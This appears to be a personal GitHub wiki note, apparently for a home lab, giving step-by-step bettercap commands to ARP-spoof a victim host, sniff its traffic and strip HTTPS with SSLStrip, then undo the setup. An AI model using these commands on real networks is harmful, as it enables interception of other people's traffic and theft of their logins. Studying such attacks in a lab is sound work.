Bettercap - kdaisho/Blog GitHub Wiki
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
(This automatically goes back to 0 after reboot)
sudo bettercap -iface <*your_network_interface>
*wlp0s20f3
net.probe on
net.show
Now start spoofing:
set arp.spoof.targets <victim_ip>
arp.spoof on
set net.sniff.verbose true
net.sniff on
set http.proxy.sslstrip true
http.proxy on
SSLStrip will try to downgrade HTTPS to HTTP where possible (many modern sites prevent this now via HSTS)
On the victim's machine:
- Try browsing some insecure (HTTP) sites.
On the attacker side:
- Use
tcpdump
orwireshark
to see if traffic is being intercepted.
Once done:
arp.spoof off
net.sniff off
http.proxy off
Also disable IP forwarding:
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward